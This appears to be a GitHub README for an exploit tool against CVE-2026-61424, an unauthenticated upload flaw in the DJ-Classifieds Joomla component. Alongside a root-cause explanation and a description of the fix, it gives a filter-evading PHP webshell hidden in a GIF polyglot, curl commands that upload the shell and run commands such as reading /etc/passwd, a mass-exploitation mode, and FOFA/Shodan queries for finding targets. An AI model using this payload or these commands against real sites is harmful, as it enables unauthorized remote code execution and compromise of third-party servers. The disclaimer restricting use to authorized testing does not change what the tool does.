CVE-2026-61424 — DJ-Classifieds <= 3.11.1

imageupload Task → No Auth → 3-String Filter Bypass (

---

Overview

Unauthenticated arbitrary file upload in DJ-Classifieds for Joomla. The imageupload task endpoint processes file uploads without authentication and relies on a 3-string blocklist (<?php, eval(, base64) that is trivially bypassed using PHP short open tags (<?=). Combined with a GIF polyglot, the uploaded file passes all image validation checks while containing a fully functional PHP webshell.

Affected Versions

Vulnerability Mechanism

Root Cause

The upload() method in administrator/components/com_djclassifieds/lib/djupload.php is mapped to the imageupload task with no authentication check and no CSRF token validation.

// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method

// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check

$name     = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');

// ... writes file to tmp/djupload/<name>

Why the Security Filter Fails (3-String Bypass)

The content scanner only blocklists three literal strings:

// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
    die('Malicious file detected');
}

This blocks <?php, eval(, and base64 — but not PHP short open tags:

<?=system($_GET['c']);?>     ← 0/3 blocked strings → PASSES

PHP short echo tags (<?=) have been enabled by default since PHP 5.4.

Attack Flow

1. Craft a polyglot: valid GIF89a header + <?=system($_GET['c']);?>
2. POST to index.php?option=com_djclassifieds&task=imageupload with name=shell.gif
3. Server checks: .gif extension ✓ getimagesize() ✓ no <?php/eval(/base64 ✓
4. File saved to tmp/djupload/<shell>.gif
5. Access: https://target.com/tmp/djupload/shell.gif?c=id

Verified Source Files

Server Log Evidence

Anonymous scanner probes observed in the wild before disclosure:

POST /index.php?option=com_djclassifieds&task=imageupload
  name=<random>.gif  filename=<random>.gif
  — no cookie, no session, no referer

Installation

git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt

Usage

Single Target

python cve_2026_61424.py -t target.com

Mass Exploitation

python cve_2026_61424.py -f targets.txt -o shells.txt

Arguments

Proof of Concept

Single Target

$ python cve_2026_61424.py -t target.com

  Host         : target.com
  DJ-Classifieds: YES v3.11.1
  Upload       : YES
  RCE          : YES
  Shell        : https://target.com/tmp/djupload/img_abc123.gif
  Output       : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
  Time         : 2.1s

Manual Exploitation

# Step 1 — Upload polyglot shell
curl -sk -X POST \
  "https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
  -H "Content-Type: image/gif" \
  --data-binary @polyglot.gif

# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"

# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"

FOFA / Shodan

# DJ-Classifieds component
body="com_djclassifieds"

# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"

# Exposed djupload directory
body="Index of" && body="djupload"

# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"

The Fix (3.11.2)

1. Added Joomla authentication — JFactory::getUser() guest check before upload()
2. Added CSRF token validation — JSession::checkToken() on the imageupload task
3. Restricted file types — server-side image-only allowlist (jpg, jpeg, png, gif)
4. Improved content scanning — additional PHP pattern detection beyond the 3-string blocklist

Impact

• Full RCE — execute arbitrary commands as the web server user
• Persistent access — shell remains until manually removed or directory cleaned
• Content abuse — upload and host arbitrary files on trusted domain
• Disk exhaustion — anonymous mass upload capability
• Chained attacks — polyglot image can be included via LFI elsewhere on the site

Disclaimer

This tool is for educational and authorized security testing only. Use against systems you own or have explicit permission to test. The author assumes no liability for misuse or damage.

References

_{Not affiliated with DJ-Extensions or mySites.guru.}